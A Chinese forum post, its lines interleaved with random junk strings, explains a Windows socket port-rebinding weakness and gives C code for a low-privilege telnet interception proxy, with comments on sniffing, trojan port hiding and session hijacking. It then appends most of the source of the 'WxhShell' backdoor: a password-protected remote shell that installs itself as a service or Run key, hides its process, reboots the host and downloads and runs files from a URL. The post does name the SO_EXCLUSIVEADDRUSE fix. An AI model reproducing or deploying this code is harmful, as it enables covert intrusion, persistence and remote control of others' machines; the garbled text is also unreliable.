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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ? J;*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /xK5%cE>B  
 Bld%d:i  
  saddr.sin_family = AF_INET; Q?Au.q],  
lX)RG*FlTC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tum9Xa  
'IaI7on  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0(owFNUBs  
_g%Wx?K9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5kwDmJy  
=c)O8  
  这意味着什么?意味着可以进行如下的攻击: MoKGnb  
PI"&-lXI-m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?}QHEk:H  
$N7:;X"l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GN36:>VWb  
s+"[S%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a'/yN{?p  
=4RBHe8`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Vt_NvPB`  
F8q&v"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O*af`J{  
-j%!p^2j9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _IAvFJI  
yFt'<{z[nL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~I0I#_$'P  
B_u+$Odo  
  #include &Wj %`T{  
  #include .x__X3P>\  
  #include l}>gG[q!  
  #include    /2,s-^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sje}E+{[  
  int main()  E%g_O_  
  { 'ADaz75`*r  
  WORD wVersionRequested; E' p5  
  DWORD ret; %@<}z|.4  
  WSADATA wsaData; :#!m(s`  
  BOOL val; Ga\E`J$c  
  SOCKADDR_IN saddr; ~rBeJZ  
  SOCKADDR_IN scaddr; %eoO3"//  
  int err; 4m%RD&ZN  
  SOCKET s; H79|%@F"  
  SOCKET sc; uJ S+;H  
  int caddsize; "FC;k >m  
  HANDLE mt; T-=sC=sS,  
  DWORD tid;   -I1Ne^DZn4  
  wVersionRequested = MAKEWORD( 2, 2 ); Pnb?NVP!^9  
  err = WSAStartup( wVersionRequested, &wsaData ); j)Z3m @Ii5  
  if ( err != 0 ) { YoD1\a|  
  printf("error!WSAStartup failed!\n"); (r cH\   
  return -1; Ez^U1KKOE7  
  } /*Z ,i&eC  
  saddr.sin_family = AF_INET; saOXbt(&  
   u1y c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @].Ko[P~  
]R^?Pa1Te4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W M/pP?||  
  saddr.sin_port = htons(23); w{[OtGIi3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zJ42%0g  
  { sL;qC\S  
  printf("error!socket failed!\n"); zBWn*A[4  
  return -1; {z?e<  
  } 'xAfcP[^  
  val = TRUE; clQN@1] M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ukV1_QeN [  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1F'j .1  
  { 9)p VDS  
  printf("error!setsockopt failed!\n"); l -~H Y*  
  return -1; y\Z7]LHCqw  
  } #RK?3?wcr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g7k|Ho-W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (3C6'Wt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^9eJ)12pK  
CuPZ0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vukI`(#  
  { _X{i hf  
  ret=GetLastError(); wm|{@z  
  printf("error!bind failed!\n"); }<w/2<T[  
  return -1; rmc0dm&l]  
  } qp>O#tj[  
  listen(s,2); |yiM7U,i  
  while(1) t&(}`W  
  { C|c'V-f  
  caddsize = sizeof(scaddr); KFHn)+*"  
  //接受连接请求 UJ1Ui'a(!!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D0,U2d  
  if(sc!=INVALID_SOCKET) 0qSd #jO  
  { AE1!u{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y5>859"h  
  if(mt==NULL) Z^9;sb,x  
  { :(,uaX> {  
  printf("Thread Creat Failed!\n"); 4w0 &f  
  break; vBCQ-l<Ub  
  } g"|QI=&_J  
  } o Y_(UIa  
  CloseHandle(mt); Kx?3]  
  } qve2?,i8hM  
  closesocket(s); yyfm  
  WSACleanup(); {:c*-+?  
  return 0; YuD2Q{  
  }   w\KO1 Ob  
  DWORD WINAPI ClientThread(LPVOID lpParam) PgAC3%M6  
  { YC4S,fY`  
  SOCKET ss = (SOCKET)lpParam; fkWuSGi  
  SOCKET sc; G 8OLx+!0e  
  unsigned char buf[4096]; po+>83/!oq  
  SOCKADDR_IN saddr; ?!1K@/!  
  long num; g@YJ#S(}  
  DWORD val; MIasCH>r  
  DWORD ret; 6sBS;+C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LhC%`w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C5#3c yf*B  
  saddr.sin_family = AF_INET; p=jD "lq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a6"Pe07t  
  saddr.sin_port = htons(23); bb[.Kvq5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L%9DaK  
  { DLe?@R5  
  printf("error!socket failed!\n"); jx a?  
  return -1; "NSm2RU3  
  } QkUq%}_0  
  val = 100; NxVqV5 '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j[Uul#  
  { oEvXZ;F@.  
  ret = GetLastError(); Q PgM<ns  
  return -1; a5C%OI<  
  } J3cbDE%^m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _7? o/Q?F%  
  { *[@lp7  
  ret = GetLastError(); a+ZP]3@ 7  
  return -1; P31}O2 Nh  
  } MrEyN8X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fdGls`H  
  { ]N!382  
  printf("error!socket connect failed!\n"); *@|d7aiO  
  closesocket(sc); .ICGGC`O  
  closesocket(ss); ;1^_ .3  
  return -1; eZR{M\Q  
  } wQJY,|.  
  while(1) Y s[JxP  
  { 74ma   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +{N LziO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =xScHy{$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B ?96d'A  
  num = recv(ss,buf,4096,0); lDd+.44V:  
  if(num>0) Se+sgw_"  
  send(sc,buf,num,0); v.H00}[.  
  else if(num==0) Wfgs[  
  break; 4ihv|%@  
  num = recv(sc,buf,4096,0); udM<jY]5p  
  if(num>0) XZhuV<  
  send(ss,buf,num,0); $]EG|]"Ns  
  else if(num==0) 6f/>o$  
  break; |k3ZdM  
  } Q-fi(UP  
  closesocket(ss); 8nw_Jatk1  
  closesocket(sc); V6Ie\+@.\  
  return 0 ; U`sybtuBP'  
  } VU`aH9g3(  
z8FeL5.(  
yg\bCvL&  
========================================================== Lw<?e;  
w?]k$  
下边附上一个代码,,WXhSHELL &P Wz4hZ  
?khwupdi  
========================================================== K*jV=lG  
Y,z15i3j?  
#include "stdafx.h" DJP)V8]!B  
~.7r  
#include <stdio.h> Y}%=:Yt  
#include <string.h> v`evuJ\3  
#include <windows.h> YqwDvJWX  
#include <winsock2.h> H~JPsS;  
#include <winsvc.h> 91|=D \8aE  
#include <urlmon.h> is?H1V~8`$  
c<)C3v  
#pragma comment (lib, "Ws2_32.lib") :J` *@cDn  
#pragma comment (lib, "urlmon.lib") |uVhfD=NG  
OJe#s;oH  
#define MAX_USER   100 // 最大客户端连接数 WL(u'%5  
#define BUF_SOCK   200 // sock buffer j*aN_UTr3  
#define KEY_BUFF   255 // 输入 buffer [4B.;MS(  
u6h"=l {  
#define REBOOT     0   // 重启 +O>1 Ed  
#define SHUTDOWN   1   // 关机 '^ "6EF.R  
3D70`u  
#define DEF_PORT   5000 // 监听端口 afOb-G$d=  
v+dt1;  
#define REG_LEN     16   // 注册表键长度 (%]&Pe]  
#define SVC_LEN     80   // NT服务名长度 1~NXCIdF  
) '"@ L7U  
// 从dll定义API W zYy<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g &~T X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }3 NGMGu$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]X/1u"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $[txZN  
Ld6j;ZJ';  
// wxhshell配置信息 uSp=,2)  
struct WSCFG { gK7j~.bb"  
  int ws_port;         // 监听端口 fXCx!3m  
  char ws_passstr[REG_LEN]; // 口令 Zo  
  int ws_autoins;       // 安装标记, 1=yes 0=no _=@9XvNM  
  char ws_regname[REG_LEN]; // 注册表键名 $$8xdv#  
  char ws_svcname[REG_LEN]; // 服务名 f!2`N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (r,tU(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d4<Ic#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uV?[eiezD0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R06q~ >  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sXxF5&AF0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OO5k _J  
@*jd.a`  
}; `~Nd4EA)2  
=;Gy"F1 dp  
// default Wxhshell configuration "pTyQT9P  
struct WSCFG wscfg={DEF_PORT, "Wd?U[[  
    "xuhuanlingzhe", 9NvV{WI-1  
    1, 4jEPh{q  
    "Wxhshell", j&)"a,f  
    "Wxhshell", J/Ki]T9  
            "WxhShell Service", d54(6N%  
    "Wrsky Windows CmdShell Service", 4h wUH  
    "Please Input Your Password: ", 0kP, Zj<  
  1, &qqS'G*  
  "http://www.wrsky.com/wxhshell.exe", Uv'.]#H<  
  "Wxhshell.exe" GW a_^  
    }; *l:5FT p  
%m r  
// 消息定义模块 \AV6;;}&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k6-.XW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }l{r9ti  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $FUWB6M  
char *msg_ws_ext="\n\rExit."; Z{nJ\`  
char *msg_ws_end="\n\rQuit."; ~L j[xP  
char *msg_ws_boot="\n\rReboot..."; A7@5lHMF  
char *msg_ws_poff="\n\rShutdown..."; FRpTYLA2  
char *msg_ws_down="\n\rSave to "; hp?hb-4l  
H^P uC (  
char *msg_ws_err="\n\rErr!"; 6Ouy%]0$I3  
char *msg_ws_ok="\n\rOK!"; ._JM3o}F  
ZZqImB.Cz6  
char ExeFile[MAX_PATH]; D(6d#c  
int nUser = 0; ]l.y/pRP5[  
HANDLE handles[MAX_USER]; GGHe{l  
int OsIsNt; n)$T zND  
w8i"-SE  
SERVICE_STATUS       serviceStatus; J8w#J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >(+g:p  
sS#Lnj^`%  
// 函数声明 ;\yY*  
int Install(void); > E;`;b  
int Uninstall(void); wlr/zquAE9  
int DownloadFile(char *sURL, SOCKET wsh); R:HF~}  
int Boot(int flag); !l1UpJp  
void HideProc(void); Qm86!(eZ-  
int GetOsVer(void); F/;uN5{o  
int Wxhshell(SOCKET wsl); & %4x  
void TalkWithClient(void *cs); ><9E^ k0.  
int CmdShell(SOCKET sock); 2OFrv=F  
int StartFromService(void);  J5 PXmL  
int StartWxhshell(LPSTR lpCmdLine); }Jkz0JY~  
*ZP$dQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m }I@:s2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '&4W@lvyz  
I\J ^@&JE  
// 数据结构和表定义 ;~Y0H9`  
SERVICE_TABLE_ENTRY DispatchTable[] = P wL]v.:  
{ d>@&[C!28  
{wscfg.ws_svcname, NTServiceMain}, @MMk=/WDw  
{NULL, NULL} DEEQ/B{  
}; 3x2*K_A5:Q  
7,U^v}$   
// 自我安装 4kZX$ct}  
int Install(void) Z^w11}  
{ U6V+jD}L]  
  char svExeFile[MAX_PATH]; g2;!AI5f  
  HKEY key; #`R`!4  
  strcpy(svExeFile,ExeFile); v:0.  
~_^#/BnAl  
// 如果是win9x系统,修改注册表设为自启动 k fS44NV  
if(!OsIsNt) { `0a=A#]1o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Zs;dam  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ./nq*4=  
  RegCloseKey(key); QV/ o;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7WQb]y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }nNZp  
  RegCloseKey(key); Kp[ F@A#  
  return 0;  )! 2$yD  
    } @C7if lo6  
  }  a~>.  
} rMkoE7n  
else { --*Jv"/0  
t,|`#6Ft  
// 如果是NT以上系统,安装为系统服务 Xk=bb267  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]A)`I  
if (schSCManager!=0) kGbtZ} W  
{ NUH;\*]8s  
  SC_HANDLE schService = CreateService ,{=pFs2  
  ( KDD_WXGt~  
  schSCManager, zFVNb  
  wscfg.ws_svcname, p&'oJy.P  
  wscfg.ws_svcdisp, e@[9WnxYe  
  SERVICE_ALL_ACCESS, .{U@Hva_K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?CSc5b`eo  
  SERVICE_AUTO_START, y>}dKbCN  
  SERVICE_ERROR_NORMAL, S !Dq8  
  svExeFile, 3 D<s #  
  NULL, dd4g?):  
  NULL, 3Z.<=D  
  NULL, oJ}!qrrH  
  NULL, Qu4Bd|`(k  
  NULL > cFH=um  
  ); R:49Gn:F  
  if (schService!=0) 4LY kK/:  
  { nk8jXZ"w  
  CloseServiceHandle(schService); Ubtu?wRBW  
  CloseServiceHandle(schSCManager); n^Co  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uA#uq^3  
  strcat(svExeFile,wscfg.ws_svcname); x;d*?69f]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UuDs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [k)xn3[  
  RegCloseKey(key); 78'HE(*  
  return 0; w@ 1g_dy  
    } ^&gu{kP  
  } d&mSoPf  
  CloseServiceHandle(schSCManager); " sh%8 <N  
} @lvvI<U  
} I9JiH,+  
o/ Z  
return 1; r 334E  
} x3cno#  
fZM)>  
// 自我卸载 9a_B   
int Uninstall(void) # `}(x;ge  
{ !brXQj8D7  
  HKEY key; p(B> N!:  
j*2Q{ik>J  
if(!OsIsNt) { )3h%2C1uM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M'Fa[n*b?!  
  RegDeleteValue(key,wscfg.ws_regname); 3Yu1ZuIR  
  RegCloseKey(key); JIeKp7;^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >,JLYz|</  
  RegDeleteValue(key,wscfg.ws_regname); e)Q{yO  
  RegCloseKey(key); C*O648yz[  
  return 0; HR0t[*  
  } !YJfP@"e6r  
} x\/N09  
} 3]Jl\<0  
else { 9ure:Dko(Y  
j,@N0~D5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); []opPQ 1  
if (schSCManager!=0) k [6%+  
{ i-6,r[<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P<&-8QA  
  if (schService!=0) cE}y~2cH  
  { ]xJ5}/  
  if(DeleteService(schService)!=0) { hEG-,   
  CloseServiceHandle(schService); ~hYTs  
  CloseServiceHandle(schSCManager); 8^/V2;~^,>  
  return 0; mc{gcZIm  
  } >GRL5Iow  
  CloseServiceHandle(schService); O0|**Km\+  
  } '3B\I#  
  CloseServiceHandle(schSCManager); cY&SKV#  
} /{|<3CEe  
} EvA{@g4>  
\SA"DT  
return 1; G8Hj<3`  
} ] T `6Hz!  
JPeZZ13sS  
// 从指定url下载文件 \2$-.npz  
int DownloadFile(char *sURL, SOCKET wsh) h( lkC[a&  
{ p8yn? ~]^  
  HRESULT hr; U%E6"Hg  
char seps[]= "/"; !uIT5D  
char *token; DyZe+,g;S  
char *file; T(< [k:`  
char myURL[MAX_PATH]; Rg4'9I%B  
char myFILE[MAX_PATH]; g[Tl#X7F  
o: \&4z&=  
strcpy(myURL,sURL); ohI>\  
  token=strtok(myURL,seps); WD"3W)!  
  while(token!=NULL) 5f.G^A: _X  
  { )e,Rp\fY$  
    file=token; m 6V:x/'=  
  token=strtok(NULL,seps); K6vF}A|  
  } hqEn D  
PQ}q5?N  
GetCurrentDirectory(MAX_PATH,myFILE); RPb/U8  
strcat(myFILE, "\\"); Vfm (K  
strcat(myFILE, file); 1h.Ypz u  
  send(wsh,myFILE,strlen(myFILE),0); ho 5mH{"OV  
send(wsh,"...",3,0); `R}q&|o7<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); axf4N@  
  if(hr==S_OK) /CpU.^V  
return 0; DA>_9o/l  
else L;wfTZa  
return 1; SZGeF;N  
>]6 inS9  
} ;.%Ii w&WG  
1J(` kQ)c  
// 系统电源模块 MS`wd  
int Boot(int flag) #bFJ6;g=V  
{ ~d+.w%Z `  
  HANDLE hToken; < 5%:/j  
  TOKEN_PRIVILEGES tkp; 43i@5F]  
g>])O  
  if(OsIsNt) { Vl91I+Ev  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qu}`;\9@ld  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ROWb:tX}  
    tkp.PrivilegeCount = 1; _RzwE$+9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1M%'Xe7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zn5U(>=c  
if(flag==REBOOT) { b< ]--\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^|h5*Tb  
  return 0; F*&A=@/3  
} UIhU[f]  
else { N>Dr z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fSe$w#*I  
  return 0; /}%$fB  
} p i ;,?p-  
  } Idq &0<I  
  else { v]"W.<B,  
if(flag==REBOOT) { }|MPQy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9qhX\, h  
  return 0; 5"x=kp>!d  
} _$wXHONt  
else { <=]wh|D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0nz=whS{  
  return 0; U"Gg ,  
} HnDz4eD  
} i_ha^mq3  
 ,\HZIl[8  
return 1; J$9`[^pV  
} PS" ,  
7~gIOu  
// win9x进程隐藏模块 4$j7DJ8dj  
void HideProc(void) v[3QI7E3  
{ 1qEpQ.:](  
MfX1&/Z+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H9@24NFb  
  if ( hKernel != NULL ) C'6 yt  
  { X(sN+7DOV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ec44JD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PP2>v|  
    FreeLibrary(hKernel); ;oe j~  
  } +[ +4h}?  
A Th<=1  
return; z.NJu q  
} YQ\c0XG  
DEdJH4  
// 获取操作系统版本 NU>'$s  
int GetOsVer(void) )<fa1Gz#^  
{ [8-. T4  
  OSVERSIONINFO winfo; 15o<'4|=Lm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gxtqzr*  
  GetVersionEx(&winfo); v-(Ry<fT9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *bi!iz5F  
  return 1; *.4VO+^  
  else &, =Z  
  return 0; OGDCC/  
} MF7q*f  
5Op|="W.  
// 客户端句柄模块 OKXELP  
int Wxhshell(SOCKET wsl) 3Pj#k|(f[0  
{ 7P& O{tl(  
  SOCKET wsh; ({"jL*S,q  
  struct sockaddr_in client; kOu C@~,  
  DWORD myID; \`FpBE_e)  
KdBE[A-1^M  
  while(nUser<MAX_USER) EWcqMD]4u  
{ S< TUZ /;  
  int nSize=sizeof(client); )SX2%&N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @-L4<=$J  
  if(wsh==INVALID_SOCKET) return 1; 7GY3 _`  
Ne 2tfiI`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *B$$6'hi`  
if(handles[nUser]==0) 91|0{1  
  closesocket(wsh); OA_WjTwDs  
else f Fr[ &\[  
  nUser++; ?h7,q*rxk  
  } vz\^Aa #fv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ng1{ NI+S  
SxAZ2|/-  
  return 0; jrF#DDH?I  
} kYwV0xQ  
Hp#IOsP~  
// 关闭 socket ^HO'"/tB@D  
void CloseIt(SOCKET wsh) z0yPBt1W  
{ ~d9R:t1  
closesocket(wsh); lQkCA-  
nUser--; ,aA%,C.0U  
ExitThread(0); ZxDh94w/  
} B7y^)/  
oqXs2F  
// 客户端请求句柄 <WWn1k_  
void TalkWithClient(void *cs) X:0-FCT;\  
{ +!@@55I-  
GL S`1!  
  SOCKET wsh=(SOCKET)cs; M5C%(sQ$  
  char pwd[SVC_LEN]; '}F=U(!  
  char cmd[KEY_BUFF]; j9voeV|7  
char chr[1]; >EVY,  
int i,j; pA~eGar_J  
+\Zr\fOe|%  
  while (nUser < MAX_USER) { 4s <|8   
p7Q}xx  
if(wscfg.ws_passstr) { qm!&(8NfK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?y1G,0,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9fj8r3 F#  
  //ZeroMemory(pwd,KEY_BUFF); xE0'eC5n^  
      i=0; l-~ o&n  
  while(i<SVC_LEN) { #9's^}i  
eeix-Wt*E  
  // 设置超时 nQHQVcDs8  
  fd_set FdRead; 54^2=bp  
  struct timeval TimeOut; y} .?`/Q#  
  FD_ZERO(&FdRead); zfm-v U  
  FD_SET(wsh,&FdRead); t,v=~LE  
  TimeOut.tv_sec=8;  x%$as;  
  TimeOut.tv_usec=0; 4ayZ.`aK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )<>1Q{j@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EN\ uX!  
(mR ;MC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }O7!>T  
  pwd=chr[0]; pS) &d4i  
  if(chr[0]==0xd || chr[0]==0xa) { ]b&"](A  
  pwd=0; #mFY?Zp)  
  break; YXFUZ9a#e  
  } axpn*(yE  
  i++; ,cF $_7M  
    } JvI6+[  
'Cq)/}0  
  // 如果是非法用户,关闭 socket C7hJE -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >EJ`Z7E6  
} "QV?C  
ZD`9Ez)5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Y[q2b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;_TPJy  
vIK+18v7  
while(1) { 7)FI_uW  
Y/Dah*  
  ZeroMemory(cmd,KEY_BUFF); Ln3<r&&Jz  
|B` mWZ'"  
      // 自动支持客户端 telnet标准   :wR aB7  
  j=0; iN]#XIQ%  
  while(j<KEY_BUFF) { b-Uy&+:X*d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |s}7<A  
  cmd[j]=chr[0]; `%5~>vPS  
  if(chr[0]==0xa || chr[0]==0xd) { /W @k:  
  cmd[j]=0; o4l=oY:'  
  break; |PY*"Ul  
  } V']{n7a-  
  j++; J Gpy$T{t  
    } wpW3%r;9  
IMF9eS{L  
  // 下载文件 'xn3g;5  
  if(strstr(cmd,"http://")) { xUw)mUn@N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j_#oP  
  if(DownloadFile(cmd,wsh)) &1(PS)s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0;6 ^fiSY;  
  else uY"Bgz:=d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aEJds}eE6)  
  } nUy2)CL[L  
  else {  0+P[0  
4!,`|W1  
    switch(cmd[0]) { &.4m(ZX  
  iAd3w6  
  // 帮助 ^~65M/  
  case '?': { S(Ej: H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,!{/Y7PmJ  
    break; $Lf-Gi  
  } rT}k[  
  // 安装 @x4IxGlUs  
  case 'i': { D?Y j5eOa  
    if(Install()) A]WR-0Z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;H%T5$:trP  
    else \'}? j-8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +|OrV'  
    break; NR@n%p  
    } }o  {6  
  // 卸载 .on}F>3k$  
  case 'r': { ]u(EEsG/  
    if(Uninstall()) >i:h dcxe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G|,'6|$jE  
    else F/(z3Kf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O&( @Ka  
    break; sfuA {c'v  
    } JS:AHJSz  
  // 显示 wxhshell 所在路径 X7~AqG  
  case 'p': { _+?v'#  
    char svExeFile[MAX_PATH]; F ~O}@e{  
    strcpy(svExeFile,"\n\r"); due'c!wW  
      strcat(svExeFile,ExeFile);  Q&d"uLsx  
        send(wsh,svExeFile,strlen(svExeFile),0); aIsT"6A~{  
    break; MRn;D|Q  
    } {;0+N -U  
  // 重启 ? 016  
  case 'b': { s<;kTReA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MNzWTn@  
    if(Boot(REBOOT)) <dAD-2O+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:+fiJB_  
    else { Bf-KCqC".  
    closesocket(wsh); ZY Ci&l  
    ExitThread(0); p~!UE/V  
    } fSL'+l3  
    break; 7yDWcm_y  
    } G$HXc$OY  
  // 关机 /GQN34RD  
  case 'd': { JXa5snh{h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LaolAqU  
    if(Boot(SHUTDOWN)) S7fX1y[  
